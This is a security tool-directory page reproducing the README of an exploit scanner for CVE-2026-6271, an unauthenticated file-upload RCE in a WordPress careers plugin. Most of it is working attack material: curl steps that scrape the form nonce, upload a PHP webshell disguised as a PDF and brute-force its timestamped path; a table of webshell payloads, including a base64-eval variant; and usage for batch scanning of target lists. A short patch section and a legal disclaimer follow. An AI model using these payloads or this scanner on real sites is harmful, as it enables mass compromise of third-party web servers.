Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-6271 — CVE-2026-6271の自動スキャナー - WordPress Career Sectionプラグインにおける認証なしの任意ファイルアップロードがリモートコード実行(RCE)につながる深刻な脆弱性。マルチスレッドスキャン、複数のシェルタイプ、プロキシ統合をサポート。 | Kitploit
ツール/GitHubGitHub/xxconi/cve-2026-6271
脆弱性スキャナーペイロード生成エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育レッドチーミング
GitHubxxconi/cve-2026-6271

CVE-2026-6271

CVE-2026-6271の自動スキャナー - WordPress Career Sectionプラグインにおける認証なしの任意ファイルアップロードがリモートコード実行(RCE)につながる深刻な脆弱性。マルチスレッドスキャン、複数のシェルタイプ、プロキシ統合をサポート。

リポジトリを見る
34ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-6271 — Career Section WordPressプラグインRCEスキャナー

Plugin: Career Section (career-section) CVE ID: CVE-2026-6271 CVSS Score: 9.8 (Critical) CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 脆弱性の種類: 未認証の任意ファイルアップロード → リモートコード実行 影響を受けるバージョン: <= 1.7 修正バージョン: 1.8 公開日: 13 Mayıs 2026 研究者: Paolo Tresso — Wordfence


📌 脆弱性について

Career Sectionプラグインは、サイト所有者が求人情報を公開し、応募を受け付けることを可能にします。各求人ページには "Apply Now" フォームがあり、CVファイルのアップロードフィールドが含まれています。

バージョン1.7以前では、アップロードハンドラが任意のファイルタイプを受け入れます — .phpを含みます。フォームは公開されており、CSRFトークンはページのHTMLに埋め込まれているため、アカウントや権限を必要とせずにこの脆弱性を悪用できます。


⚙️ 技術的分析

Nonceが保護を提供しない理由

WordPressのnonceはCSRFトークンであり、認証トークンではありません。nonce値は各訪問者に対してページのHTMLに埋め込まれます:

<script id='prosolwpclient-public-js-extra'>
<!-- templates/single-csection.php — line 316 -->
<?php wp_nonce_field( 'csaf_form_submission', 'csaf_form_nonce' ); ?>

認証されていない訪問者でも有効なnonceを取得し、検証チェックを通過できます。

ファイルタイプ検証の欠如

// templates/single-csection.php — lines 170–182 (version 1.7)
if ( ! empty( $_FILES['cv']['name'] ) && ! empty( $_FILES['cv']['tmp_name'] ) ) {

    $original_name = sanitize_file_name( $_FILES['cv']['name'] );
    $name_file     = time() . '_' . $original_name;
    $destination   = $cs_dir . '/' . $name_file;

    // Uzantı kontrolü YOK — .php dahil her şey kabul edilir
    if ( $wp_filesystem->move( $_FILES['cv']['tmp_name'], $destination, true ) ) {
        $uploaded_file_url = $upload_dir['baseurl']
                           . '/cs_applicant_submission_files/'
                           . $name_file;
    }
}

sanitize_file_name()は特殊文字を除去するだけで、危険な拡張子をブロックしません。

アップロードディレクトリ

wp-content/uploads/cs_applicant_submission_files/<timestamp>_<filename>

このディレクトリにはPHPの実行を防ぐ.htaccessファイルはありません。


🔴 なぜクリティカルか?

理由説明
認証不要Nonceは公開HTMLに埋め込まれている
ファイルタイプ制限なし.php, .php5, .phtmlを受け入れる
.htaccess保護なしアップロードディレクトリでPHPが実行される
予測可能なファイル名time()_filename → タイムスタンプのブルートフォース

🧪 概念実証 (手動)

⚠️ 免責事項: このPoCは教育目的のみです。所有しているシステム、または明示的な書面による許可を得たシステムでのみテストしてください。

前提条件:

  • Career Sectionプラグインがインストールされアクティブであること (バージョン ≤ 1.7)
  • 少なくとも1つの求人が公開されていること

手順1 — PHPウェブシェルの作成

echo '<?php system($_GET["cmd"]); ?>' > shell.php

手順2 — Nonceの取得

TARGET="http://target.com"
JOB_URL="$TARGET/careers/software-engineer/"

NONCE=$(curl -s "$JOB_URL" \
  | grep -oP 'name="csaf_form_nonce" value="\K[^"]+')

echo "Nonce: $NONCE"

ページソースで検索する構造:

<input type="hidden"
       id="csaf_form_nonce"
       name="csaf_form_nonce"
       value="a1b2c3d4e5" />

手順3 — ウェブシェルのアップロード

TS=$(date +%s)

curl -s -X POST "$JOB_URL" \
  -F "first_name=John" \
  -F "last_name=Doe" \
  -F "present_address=123 Main St" \
  -F "[email protected]" \
  -F "mobile_no=1234567890" \
  -F "post_name=Engineer" \
  -F "submit=Submit" \
  -F "csaf_form_nonce=$NONCE" \
  -F "[email protected];type=application/pdf" \
  | grep -o "Application has been sent"

手順4 — RCEのトリガー

ファイル名は <timestamp>_shell.php 形式です。 $TS 周辺のタイムスタンプを試します:

UPLOADS="$TARGET/wp-content/uploads/cs_applicant_submission_files"

for T in $(seq $((TS-2)) $((TS+2))); do
  URL="$UPLOADS/${T}_shell.php"
  RESULT=$(curl -s "$URL?cmd=id")
  if echo "$RESULT" | grep -q "uid="; then
    echo "Webshell aktif: $URL"
    echo "RCE çıktısı  : $RESULT"
    break
  fi
done

期待される出力:

Webshell aktif: http://target.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
RCE çıktısı  : uid=33(www-data) gid=33(www-data) groups=33(www-data)

🛠️ 自動スキャナー

インストール

git clone https://github.com/kullanici/cve-2026-6271-scanner
cd cve-2026-6271-scanner
pip install -r requirements.txt

requirements.txt

requests

🚀 使用方法

単一ターゲット

python career_section_rce.py -u http://hedef.com

ジョブURLを直接指定

python career_section_rce.py -u http://hedef.com \
  --job-url http://hedef.com/careers/engineer/

シェル検証付き

python career_section_rce.py -u http://hedef.com \
  --verify-cmd "whoami"

バッチスキャン

python career_section_rce.py -l targets.txt -t 20 -o sonuclar.txt

タイムスタンプウィンドウの拡大 (遅いサーバー)

python career_section_rce.py -u http://hedef.com --ts-window 10

フルシェル + プロキシ (Burp Suite)

python career_section_rce.py -u http://hedef.com \
  --shell-type full \
  --proxy http://127.0.0.1:8080

⚙️ パラメータ

パラメータ短縮説明デフォルト
--url-u単一ターゲットURL—
--list-lターゲットリストファイル—
--threads-tスレッド数10
--output-o出力ファイルrce_confirmed.txt
--job-url—ジョブリストURLを直接指定—
--shell-name—アップロードするファイル名shell.php
--shell-type—シェルの種類system
--verify-cmd—RCE検証コマンドid
--ts-window—タイムスタンプブルートフォースウィンドウ (±秒)5
--proxy—プロキシURL—
--timeout—リクエストタイムアウト (秒)10

💀 シェルの種類

種類ペイロード説明
system<?php system($_GET["cmd"]); ?>基本システムコマンド
passthru<?php passthru($_GET["cmd"]); ?>生出力
exec<?php echo exec($_GET["cmd"]); ?>サイレント実行
assert<?php assert($_POST["cmd"]); ?>POSTによるeval
b64<?php eval(base64_decode($_POST["cmd"])); ?>Base64難読化
fullshell_exec + system + exec fallbackフル機能シェル

📂 シェルアップロード場所

WordPressルート/
└── wp-content/
    └── uploads/
        └── cs_applicant_submission_files/
            └── <timestamp>_shell.php   ← シェルはここ

直接アクセス:

curl "http://hedef.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

📊 スキャナー出力ステータス

ステータス説明
★ RCE OKシェルがアップロードされ、コマンドが正常に実行されました
★ SHELL ALIVEシェルにアクセス可能だが、異なる応答が返されました
~ EXEC_DISABLEDシェルは存在するが、サーバーでexec()が無効
? UPLOADEDアップロードされたが、タイムスタンプが見つからない
- BLOCKEDファイルタイプがブロックされました (修正バージョン)
~ NO_NONCEcsaf_form_nonceが見つからない
~ TIMEOUT接続タイムアウト
~ UNREACHターゲットに到達不能

🖥️ スキャナー出力例

[*] 3 hedef | CVE-2026-6271 Career Section | threads=10

[★ RCE OK    ] http://hedef1.com
  Nonce     : a1b2c3d4e5  (kaynak: http://hedef1.com/careers/engineer/)
  Shell URL : http://hedef1.com/wp-content/uploads/cs_applicant_submission_files/1747302451_shell.php
  RCE Çıktı : uid=33(www-data) gid=33(www-data) groups=33(www-data)

[- BLOCKED   ] http://hedef2.com  (dosya tipi engellendi)
[~ NO_NONCE  ] http://hedef3.com  (csaf_form_nonce bulunamadı)

──────────────────────────────────────────────────────────────
  UPLOADED_RCE_OK         :    1  █
  BLOCKED                 :    1  █
  NO_NONCE                :    1  █
──────────────────────────────────────────────────────────────
  RCE onaylı → rce_confirmed.txt
──────────────────────────────────────────────────────────────

🛡️ 防御 / パッチ

対策実装
プラグイン更新Career Section 1.8以上にアップグレード
PHP実行の防止アップロードディレクトリに.htaccessを追加
拡張子ホワイトリストpdf, doc, docxのみ許可
MIME検証finfo_file()で実際のコンテンツを確認
WAFルール.phpのアップロードリクエストをブロック

wp-content/uploads/cs_applicant_submission_files/ディレクトリ用の.htaccess:

<FilesMatch "\.php\d?$">
    Deny from all
</FilesMatch>

Options -ExecCGI
AddType text/plain .php .php5 .phtml .phar

📁 ファイル構成

cve-2026-6271-scanner/
├── career_section_rce.py   # メインスキャナー
├── requirements.txt        # 依存関係
└── README.md               # このファイル

⚠️ 法的免責事項

このツールおよびPoCは、許可されたシステムにおいて、教育目的およびペネトレーションテストの範囲内でのみ使用するために作成されています。無許可のシステムでの使用は、トルコ刑法第243-245条および国際的なサイバー犯罪法の下で犯罪行為を構成します。開発者は、ツールの悪用から生じる法的責任を一切負いません。


📄 ライセンス

ツールをダウンロード